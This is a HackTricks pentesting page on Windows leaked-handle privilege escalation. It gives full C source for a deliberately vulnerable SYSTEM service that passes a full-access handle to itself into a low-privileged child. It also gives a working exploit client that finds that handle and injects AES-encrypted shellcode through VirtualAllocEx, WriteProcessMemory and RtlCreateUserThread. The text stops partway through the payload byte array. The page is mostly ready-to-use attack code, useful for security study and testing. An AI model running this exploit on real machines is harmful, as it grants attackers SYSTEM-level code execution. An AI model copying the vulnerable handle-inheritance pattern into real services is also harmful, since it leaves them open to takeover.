HackTricks
Search…
Pentesting
Powered By GitBook
Leaked Handle Exploitation
Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process. Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
The code of this example was shared by an anonymous person.

Vulnerable Example

For example, the following code belongs to a Windows service that would be vulnerable. The vulnerable code of this service binary is located inside the Exploit function. This function is starts creating a new handle process with full access. Then, it's creating a low privileged process (by copying the low privileged token of explorer.exe) executing C:\users\username\desktop\client.exe. The vulnerability resides in the fact it's creating the low privileged process with bInheritHandles as TRUE.
Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).
1
#include <windows.h>
2
#include <tlhelp32.h>
3
#include <tchar.h>
4
#pragma comment (lib, "advapi32")
5
6
TCHAR* serviceName = TEXT("HandleLeakSrv");
7
SERVICE_STATUS serviceStatus;
8
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
9
HANDLE stopServiceEvent = 0;
10
11
12
//Find PID of a proces from its name
13
int FindTarget(const char *procname) {
14
15
HANDLE hProcSnap;
16
PROCESSENTRY32 pe32;
17
int pid = 0;
18
19
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
20
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
21
22
pe32.dwSize = sizeof(PROCESSENTRY32);
23
24
if (!Process32First(hProcSnap, &pe32)) {
25
CloseHandle(hProcSnap);
26
return 0;
27
}
28
29
while (Process32Next(hProcSnap, &pe32)) {
30
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
31
pid = pe32.th32ProcessID;
32
break;
33
}
34
}
35
36
CloseHandle(hProcSnap);
37
38
return pid;
39
}
40
41
42
int Exploit(void) {
43
44
STARTUPINFOA si;
45
PROCESS_INFORMATION pi;
46
int pid = 0;
47
HANDLE hUserToken;
48
HANDLE hUserProc;
49
HANDLE hProc;
50
51
// open a handle to itself (privileged process) - this gets leaked!
52
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
53
54
// get PID of user low privileged process
55
if ( pid = FindTarget("explorer.exe") )
56
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
57
else
58
return -1;
59
60
// extract low privilege token from a user's process
61
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
62
CloseHandle(hUserProc);
63
return -1;
64
}
65
66
// spawn a child process with low privs and leaked handle
67
ZeroMemory(&si, sizeof(si));
68
si.cb = sizeof(si);
69
ZeroMemory(&pi, sizeof(pi));
70
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
71
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
72
73
CloseHandle(hProc);
74
CloseHandle(hUserProc);
75
return 0;
76
}
77
78
79
80
void WINAPI ServiceControlHandler( DWORD controlCode ) {
81
switch ( controlCode ) {
82
case SERVICE_CONTROL_SHUTDOWN:
83
case SERVICE_CONTROL_STOP:
84
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
85
SetServiceStatus( serviceStatusHandle, &serviceStatus );
86
87
SetEvent( stopServiceEvent );
88
return;
89
90
case SERVICE_CONTROL_PAUSE:
91
break;
92
93
case SERVICE_CONTROL_CONTINUE:
94
break;
95
96
case SERVICE_CONTROL_INTERROGATE:
97
break;
98
99
default:
100
break;
101
}
102
SetServiceStatus( serviceStatusHandle, &serviceStatus );
103
}
104
105
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
106
// initialise service status
107
serviceStatus.dwServiceType = SERVICE_WIN32;
108
serviceStatus.dwCurrentState = SERVICE_STOPPED;
109
serviceStatus.dwControlsAccepted = 0;
110
serviceStatus.dwWin32ExitCode = NO_ERROR;
111
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
112
serviceStatus.dwCheckPoint = 0;
113
serviceStatus.dwWaitHint = 0;
114
115
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
116
117
if ( serviceStatusHandle ) {
118
// service is starting
119
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
120
SetServiceStatus( serviceStatusHandle, &serviceStatus );
121
122
// do initialisation here
123
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
124
125
// running
126
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
127
serviceStatus.dwCurrentState = SERVICE_RUNNING;
128
SetServiceStatus( serviceStatusHandle, &serviceStatus );
129
130
Exploit();
131
WaitForSingleObject( stopServiceEvent, -1 );
132
133
// service was stopped
134
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
135
SetServiceStatus( serviceStatusHandle, &serviceStatus );
136
137
// do cleanup here
138
CloseHandle( stopServiceEvent );
139
stopServiceEvent = 0;
140
141
// service is now stopped
142
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
143
serviceStatus.dwCurrentState = SERVICE_STOPPED;
144
SetServiceStatus( serviceStatusHandle, &serviceStatus );
145
}
146
}
147
148
149
void InstallService() {
150
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
151
152
if ( serviceControlManager ) {
153
TCHAR path[ _MAX_PATH + 1 ];
154
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
155
SC_HANDLE service = CreateService( serviceControlManager,
156
serviceName, serviceName,
157
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
158
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
159
0, 0, 0, 0, 0 );
160
if ( service )
161
CloseServiceHandle( service );
162
}
163
CloseServiceHandle( serviceControlManager );
164
}
165
}
166
167
void UninstallService() {
168
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
169
170
if ( serviceControlManager ) {
171
SC_HANDLE service = OpenService( serviceControlManager,
172
serviceName, SERVICE_QUERY_STATUS | DELETE );
173
if ( service ) {
174
SERVICE_STATUS serviceStatus;
175
if ( QueryServiceStatus( service, &serviceStatus ) ) {
176
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
177
DeleteService( service );
178
}
179
CloseServiceHandle( service );
180
}
181
CloseServiceHandle( serviceControlManager );
182
}
183
}
184
185
int _tmain( int argc, TCHAR* argv[] )
186
{
187
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
188
InstallService();
189
}
190
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
191
UninstallService();
192
}
193
else {
194
SERVICE_TABLE_ENTRY serviceTable[] = {
195
{ serviceName, ServiceMain },
196
{ 0, 0 }
197
};
198
199
StartServiceCtrlDispatcher( serviceTable );
200
}
201
202
return 0;
203
}
Copied!

Exploit Example 1

In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.
In this example you can find the code of a possible exploit for C:\users\username\desktop\client.exe. The most interesting part of this code is located in GetVulnProcHandle. This function will start fetching all the handles, then it will check if any of them belongs to the same PID and if the handle belongs to a process. If all these requirements are completed (an accessible open process handle is found) , it try to inject and execute a shellcode abusing the handle of the process. The injection of the shellcode is done inside the Inject function and it will just write the shellcode inside the privileged process and create a thread inside the same process to execute the shellcode).
1
#include <windows.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <string.h>
5
#include <time.h>
6
#include <wincrypt.h>
7
#include <psapi.h>
8
#include <tchar.h>
9
#include <tlhelp32.h>
10
#include "client.h"
11
#pragma comment (lib, "crypt32.lib")
12
#pragma comment (lib, "advapi32")
13
#pragma comment (lib, "kernel32")
14
15
16
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
17
HCRYPTPROV hProv;
18
HCRYPTHASH hHash;
19
HCRYPTKEY hKey;
20
21
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
22
return -1;
23
}
24
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
25
return -1;
26
}
27
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
28
return -1;
29
}
30
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
31
return -1;
32
}
33
34
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
35
return -1;
36
}
37
38
CryptReleaseContext(hProv, 0);
39
CryptDestroyHash(hHash);
40
CryptDestroyKey(hKey);
41
42
return 0;
43
}
44
45
46
HANDLE GetVulnProcHandle(void) {
47
48
ULONG handleInfoSize = 0x10000;
49
NTSTATUS status;
50
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
51
HANDLE hProc = NULL;
52
POBJECT_TYPE_INFORMATION objectTypeInfo;
53
PVOID objectNameInfo;
54
UNICODE_STRING objectName;
55
ULONG returnLength;
56
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
57
DWORD dwOwnPID = GetCurrentProcessId();
58
59
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
60
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
61
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
62
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
63
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
64
65
printf("[+] Grabbing handles...");
66
67
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
68
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
69
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
70
71
if (status != STATUS_SUCCESS)
72
{
73
printf("[!] NtQuerySystemInformation failed!\n");
74
return 0;
75
}
76
77
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
78
79
// iterate handles until we find the privileged process handle
80
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
81
{
82
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
83
84
// Check if this handle belongs to our own process
85
if (handle.UniqueProcessId != dwOwnPID)
86
continue;
87
88
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
89
if (pNtQueryObject( (HANDLE) handle.HandleValue,
90
ObjectTypeInformation,
91
objectTypeInfo,
92
0x1000,
93
NULL ) != STATUS_SUCCESS)
94
continue;
95
96
// skip some objects to avoid getting stuck
97
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
98
if (handle.GrantedAccess == 0x0012019f
99
&& handle.GrantedAccess != 0x00120189
100
&& handle.GrantedAccess != 0x120089
101
&& handle.GrantedAccess != 0x1A019F ) {
102
free(objectTypeInfo);
103
continue;
104
}
105
106
// get object name information
107
objectNameInfo = malloc(0x1000);
108
if (pNtQueryObject( (HANDLE) handle.HandleValue,
109
ObjectNameInformation,
110
objectNameInfo,
111
0x1000,
112
&returnLength ) != STATUS_SUCCESS) {
113
114
// adjust the size of a returned object and query again
115
objectNameInfo = realloc(objectNameInfo, returnLength);
116
if (pNtQueryObject( (HANDLE) handle.HandleValue,
117
ObjectNameInformation,
118
objectNameInfo,
119
returnLength,
120
NULL ) != STATUS_SUCCESS) {
121
free(objectTypeInfo);
122
free(objectNameInfo);
123
continue;
124
}
125
}
126
127
// check if we've got a process object
128
objectName = *(PUNICODE_STRING) objectNameInfo;
129
UNICODE_STRING pProcess;
130
131
pRtlInitUnicodeString(&pProcess, L"Process");
132
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
133
printf("[+] Found process handle (%x)\n", handle.HandleValue);
134
hProc = (HANDLE) handle.HandleValue;
135
free(objectTypeInfo);
136
free(objectNameInfo);
137
break;
138
}
139
else
140
continue;
141
142
free(objectTypeInfo);
143
free(objectNameInfo);
144
}
145
146
return hProc;
147
}
148
149
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
150
151
LPVOID pRemoteCode = NULL;
152
HANDLE hThread = NULL;
153
BOOL bStatus = FALSE;
154
155
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
156
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
157
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
158
159
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
160
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
161
162
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
163
if (bStatus != FALSE) {
164
WaitForSingleObject(hThread, -1);
165
CloseHandle(hThread);
166
return 0;
167
}
168
else
169
return -1;
170
}
171
172
int main(int argc, char **argv) {
173
174
int pid = 0;
175
HANDLE hProc = NULL;
176
177
// AES encrypted shellcode spawning notepad.exe (ExitThread)
178
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
179
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9